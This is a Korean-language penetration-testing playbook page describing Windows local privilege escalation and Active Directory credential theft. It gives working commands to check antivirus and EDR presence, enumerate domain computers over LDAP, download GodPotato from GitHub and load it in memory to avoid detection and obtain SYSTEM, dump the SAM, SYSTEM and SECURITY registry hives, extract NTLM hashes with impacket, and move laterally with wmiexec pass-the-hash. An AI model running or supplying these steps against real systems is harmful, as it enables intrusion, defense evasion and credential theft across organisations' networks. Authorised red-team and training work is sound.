Pentest Playbook

로컬 권한 상승과 Credential Dumping을 통한 Pass-the-Hash

*로 표시된 항목은 "참고"에서 상세한 설명 확인이 가능합니다.

취약점 발생 조건

1. 사용자 권한 확인

PowerShell 또는 CMD에서 권한을 확인할 수 있는 명령어는 다음과 같습니다.

whoami /priv

출력 결과가 다음과 같을 때, 로컬 관리자 권한 상승을 시도할 수 있습니다.

사용 권한 정보
----------------------

사용 권한 이름              설명                     상태
========================= ======================= ==========
...생략...                  
SeShutdownPrivilege       시스템 종료               사용 안 함
SeDebugPrivilege          프로그램 디버깅            사용 안함
SeImpersonatePrivilege    감사 및 보안 로그 관리     사용
...생략...

2. 백신 설치 및 실행 여부 확인

PC에서 PowerShell을 실행할 수 있는 권한과 외부에서 악성 프로그램을 다운로드 받을 때, 백신에 의해 차단되는 경우가 많습니다.
탐지 및 공격 흔적을 최소화하기 위한 방안으로 백신 설치와 실행 여부를 우선적으로 파악해야 합니다.

확인 명령어는 다음과 같으며, 각각 명령어에 대한 설명입니다.

powershell "Get-MpComputerStatus | Select-Object AntivirusEnabled, AMServiceEnabled"

결과 값은 True, False로 구분되며 다음과 같이 출력됩니다.
두 개의 값이 전부 False인 경우에는 Windows Defender가 비활성화 상태라는 것을 의미합니다.

Get-MpComputerStatus만 입력했을 때의 결과 값 내용은 다음과 같습니다.

AMEngineVersion                  : 0.0.0.0
AMProductVersion                 : 4.18.25050.5
AMRunningMode                    : Not running
AMServiceEnabled                 : False
AMServiceVersion                 : 0.0.0.0
AntispywareEnabled               : False
AntispywareSignatureAge          : 0
AntispywareSignatureLastUpdated  : 
AntispywareSignatureVersion      : 
AntivirusEnabled                 : False
AntivirusSignatureAge            : 65535
AntivirusSignatureLastUpdated    : 
AntivirusSignatureVersion        :

WMI를 이용해서 설치되어 있는 백신 목록도 확인할 수 있습니다.

#WMI로 설치되어 있는 백신 목록을 확인하는 명령어
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object displayName, productState

#백신 관련 서비스를 확인하는 명령어
Get-Service | Where-Object { $_.DisplayName -match "crowd|carbon|sentinel|symantec|mcafee|trend|sophos|cylance|eset|kasper|endpoint|antivirus" }

3. AD에 속한 다른 계정/PC/IP 등 조회

adsisearcher를 이용해서 LDAP 명령어로 원하는 정보를 조회할 수 있습니다. 이때 같은 AD에 연결되어 있는 PC의 OS, DNS, IP 정보들을 조회해서 pass-the-hash 공격에 활용할 수 있습니다.

([adsisearcher]"(objectCategory=computer)").FindAll() | % { $name=$_.Properties["cn"][0]; $os=$_.Properties["operatingsystem"][0]; $dns=$_.Properties["dnshostname"][0]; try { $ip=([System.Net.Dns]::GetHostAddresses($dns))[0].IPAddressToString } catch { $ip="resolve 실패" }; "$name | $os | $dns | $ip" }

4. PowerShell을 GodPotato 메모리 업로드 및 실행

Windows 환경에서는 Administrator보다 더 상위 권한인 nt system권한이 있습니다. 시스템 권한으로 상승하기 위해서 Godpotato라는 도구를 사용하거나 Windows 환경의 CVE 등을 이용할 수 있습니다.

Godpotato는 Github repo에서 다운로드 받아올 수 있습니다. .NET이 3.5인지 4.0에 따라서 버전에 맞는 것을 powershell을 이용해서 다운로드할 수 있습니다.

.exe파일은 탐지될 수 있기 때문에, 다운로드 받은 파일을 byte로 변환하여 메모리에 올려서 실행시킬 수 있습니다. 변수를 사용하기 때문에, powershell이 종료되면 다시 다운로드 및 메모리에 업로드하는 과정이 필요합니다.

#Github에서 GodPotato 다운로드
$bytes = (New-Object Net.WebClient).DownloadData('https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe')

#Memory에 올린 GodPotato를 변수에 저장
$asm = [System.Reflection.Assembly]::Load($bytes)

#새 창으로 열어주지 않으면, 명령어를 실행할 수 없는 비대화형으로 권한 상승되어서, 새 창으로 NT System으로 열어주는 명령어
$asm.EntryPoint.Invoke($null, @(,[string[]]@("-cmd", "cmd /c start powershell -ep bypass")))

새 창으로 PowerShell이 실행되고 whoami를 입력하면, nt system 권한으로 상승되어 있는 것을 확인할 수 있습니다.

PS C:\Users\user\>whoami
nt authority\system

5. LSA Secrets 덤프

로컬 SAM 만 이용한다면, AD 공격이 제한적입니다. 따라서, 도메인 정보가 저장되어 있는 sam.hivesecurity.hive를 추출해서 NTLM 해시를 추출 및 도메인 컨트롤러 권한 획득을 시도할 수 있는 pass-the-hash를 수행할 수 있습니다.

레지스트리에 저장되어 있는 sam, security 파일을 추출하는 명령어는 다음과 같습니다.

reg save HKLM\SAM C:\Temp\sam.hive; reg save HKLM\SYSTEM C:\Temp\system.hive; reg save HKLM\SECURITY C:\Temp\security.hive

추출이 완료되면 sam.hive, system.hive, security.hive 파일이 생성되며 해시 값을 추출할 때에는 sam.hivesystem.hive만 있어도 가능합니다.

6. impacket을 이용한 해시 추출

python에서 덤프한 파일에서 해시를 추출하는 명령어는 다음과 같습니다.

impacket-secretsdump -sam sam.hive -system system.hive -outputfile output LOCAL

추출한 결과 다음과 같이 .sam 파일로 해시 값이 저장되어 있습니다. (공통으로 사용되는 기본 값)

Administrator:500:aad3b435b51404ee:<hash>:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404ee:<hash>:::

하지만, 추출한 해시 값을 이용해서 접근 가능한 IP 대역이 있다면 PtH 공격을 수행해볼 수 있다.
어떤 해시 값을 사용할지 알 수 없기 때문에, GPO를 건드리지 않는 방향으로 공격한다면 충분히 영향력이 있다고 생각합니다.

7. pass-the-hash 기법을 이용한 Lateral Movement(측면이동)

PtH 공격을 수행할 때, SMB, WinRM 등

wmiexec.py를 이용한 SMB 연결 (한글/영어가 인코딩되지 않기 때문에 codec 옵션으로 인코딩 적용)

wmiexec -hashes NT:LM Administrator@IP -codec cp949

참고

1. [adsisearcher]

ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색